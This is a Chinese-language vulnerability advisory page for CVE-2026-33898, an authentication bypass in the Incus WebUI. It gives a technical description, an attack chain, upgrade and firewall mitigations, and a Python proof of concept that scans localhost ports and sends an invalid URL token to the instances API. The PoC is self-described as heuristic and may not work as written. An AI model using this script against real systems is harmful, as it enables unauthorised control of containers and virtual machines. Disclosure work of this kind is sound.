IPBUF安全漏洞报告
English
CVE-2026-33898 CVSS 8.8 高危

CVE-2026-33898 Incus WebUI认证绕过漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33898
漏洞类型
认证绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Incus

相关标签

认证绕过权限提升Incus容器安全CVE-2026-33898

漏洞概述

Incus是容器和虚拟机管理器。在6.23.0版本之前,其WebUI组件存在认证绕过漏洞。虽然系统正确验证Cookie中的令牌,但未能正确验证URL参数中的认证令牌。攻击者若能定位并与本地临时Web服务器交互,即可绕过认证获得与运行WebUI的用户相同的权限,导致本地权限提升或通过社工实现远程攻击。

技术细节

漏洞根源在于Incus WebUI组件在处理认证令牌时的逻辑缺陷。具体而言,当用户启动`incus webui`时,程序会在本地随机端口生成一个临时的Web服务器,并通过URL传递认证令牌。虽然Incus客户端对Cookie中的令牌实施了严格的校验机制,但在处理直接嵌入在URL请求参数中的令牌时,验证逻辑存在疏漏,导致无效或伪造的令牌被错误接受。利用该漏洞,攻击者首先需要扫描或猜测本地开放的临时端口,一旦发现目标服务,即可构造特定的HTTP请求,利用验证漏洞绕过身份认证环节。成功利用后,攻击者将继承启动WebUI用户的上下文权限,从而完全控制底层的Incus容器和虚拟机。这种权限提升不仅限于本地用户,如果攻击者能诱导用户访问恶意链接,还可能结合浏览器交互实现远程攻击。

攻击链分析

STEP 1
侦察与发现
攻击者扫描本地主机(localhost)的高端口范围,寻找由`incus webui`启动的临时Web服务器。
STEP 2
构造恶意请求
攻击者定位到目标端口后,构造包含无效或伪造认证令牌的HTTP请求发送给服务器。
STEP 3
认证绕过
Incus WebUI未能正确校验URL中的令牌,错误地接受了攻击者的请求,建立了会话。
STEP 4
权限提升与控制
攻击者获得了与启动WebUI用户相同的Incus管理权限,可以控制容器、虚拟机及访问系统资源。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import socket # Proof of Concept for CVE-2026-33898 # This script scans localhost for the Incus WebUI and attempts to bypass authentication. def find_incus_port(start_port=30000, end_port=40000): """Scan localhost for the potential Incus WebUI port.""" open_ports = [] for port in range(start_port, end_port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socket.setdefaulttimeout(0.5) result = sock.connect_ex(('127.0.0.1', port)) if result == 0: # Check if it looks like Incus WebUI (heuristic) try: response = requests.get(f'http://127.0.0.1:{port}', timeout=1) if 'Incus' in response.text or 'token' in response.text: open_ports.append(port) except: pass sock.close() except: continue return open_ports def exploit_auth_bypass(port): """Attempts to access the API using a malformed/invalid token.""" # The vulnerability accepts invalid tokens in the URL target_url = f'http://127.0.0.1:{port}/1.0/instances?auth=invalid_token_bypass' try: response = requests.get(target_url) if response.status_code == 200: print(f"[+] Potential Bypass Successful on port {port}!") print(f"[+] Response: {response.text[:200]}") return True else: print(f"[-] Failed on port {port}. Status: {response.status_code}") except Exception as e: print(f"[-] Error connecting to port {port}: {e}") return False if __name__ == "__main__": print("[*] Scanning for Incus WebUI...") ports = find_incus_port() if not ports: print("[*] No potential Incus WebUI ports found.") else: print(f"[*] Found potential ports: {ports}") for p in ports: exploit_auth_bypass(p)

影响范围

Incus < 6.23.0

防御指南

临时缓解措施
建议用户立即将Incus升级至6.23.0或更高版本以修复此漏洞。在无法立即升级的情况下,应避免在不受信任的环境或多用户系统中运行`incus webui`,并检查本地防火墙配置,严格限制对localhost端口的访问,防止其他本地用户或恶意软件扫描并利用该临时服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表